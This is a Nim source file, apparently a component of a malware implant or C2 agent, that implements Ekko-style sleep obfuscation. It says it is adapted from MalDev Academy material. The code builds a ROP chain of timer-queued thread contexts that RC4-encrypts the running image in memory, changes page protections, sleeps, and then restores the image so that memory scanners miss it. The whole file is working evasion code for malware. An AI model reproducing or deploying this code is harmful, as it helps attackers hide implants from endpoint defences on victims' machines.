import winim/lean import strformat import ../../common/[types, utils, crypto] import sugar # Sleep obfuscation implementation based on Ekko, originally developed by C5pider # The code in this file was taken from the MalDev Academy modules 54,56 & 59 and translated from C to Nim # https://maldevacademy.com/new/modules/54?view=blocks type USTRING* {.bycopy.} = object Length*: DWORD MaximumLength*: DWORD Buffer*: PVOID EVENT_TYPE = enum NotificationEvent, SynchronizationEvent # Required APIs (definitions taken from NtDoc) proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} proc sleepEkko*(sleepDelay: int) = var status: NTSTATUS = 0 key: USTRING = USTRING(Length: 0) img: USTRING = USTRING(Length: 0) ctx: array[7, CONTEXT] ctxInit: CONTEXT hEvent: HANDLE hEventStart: HANDLE hEventEnd: HANDLE queue: HANDLE timer: HANDLE value: DWORD = 0 delay: DWORD = 0 try: var NtContinue = GetProcAddress(GetModuleHandleA("ntdll"), "NtContinue") SystemFunction032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032") # Locate image base and size var imageBase = GetModuleHandleA(NULL) var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" img.Buffer = cast[PVOID](imageBase) img.Length = imageSize # Generate random encryption key var keyBuffer: string = Bytes.toString(generateBytes(Key16)) key.Buffer = keyBuffer.addr key.Length = cast[DWORD](keyBuffer.len()) # Sleep obfuscation implementation using NTAPI # Create timer queue status = RtlCreateTimerQueue(addr queue) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) # Create events status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) # Retrieve the initial thread context status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) WaitForSingleObject(hEvent, 1000) # Preparing the ROP chain # Initially, each element in this array will have the same context as the timer's thread context for i in 0 ..< ctx.len(): copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer # ROP Chain # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) ctx[0].Rcx = cast[DWORD64](hEventStart) ctx[0].Rdx = cast[DWORD64](INFINITE) ctx[0].R8 = cast[DWORD64](NULL) # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] ctx[1].Rip = cast[DWORD64](VirtualProtect) ctx[1].Rcx = cast[DWORD64](imageBase) ctx[1].Rdx = cast[DWORD64](imageSize) ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) ctx[1].R9 = cast[DWORD64](addr value) # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. ctx[2].Rip = cast[DWORD64](SystemFunction032) ctx[2].Rcx = cast[DWORD64](addr img) ctx[2].Rdx = cast[DWORD64](addr key) # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) ctx[3].R8 = cast[DWORD64](FALSE) # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory ctx[4].Rip = cast[DWORD64](SystemFunction032) ctx[4].Rcx = cast[DWORD64](addr img) ctx[4].Rdx = cast[DWORD64](addr key) # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] ctx[5].Rip = cast[DWORD64](VirtualProtect) ctx[5].Rcx = cast[DWORD64](imageBase) ctx[5].Rdx = cast[DWORD64](imageSize) ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) ctx[5].R9 = cast[DWORD64](addr value) # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete ctx[6].Rip = cast[DWORD64](SetEvent) ctx[6].Rcx = cast[DWORD64](hEventEnd) # Executing timers for i in 0 ..< ctx.len(): delay += 100 status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) echo "[*] Triggering sleep obfuscation" status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: raise newException(CatchableError, $status.toHex()) except CatchableError as err: echo "[-] ", err.msg finally: # Cleanup if queue != 0: discard RtlDeleteTimerQueue(queue) if hEvent != 0: CloseHandle(hEvent) if hEventStart != 0: CloseHandle(hEventStart) if hEventEnd != 0: CloseHandle(hEventEnd)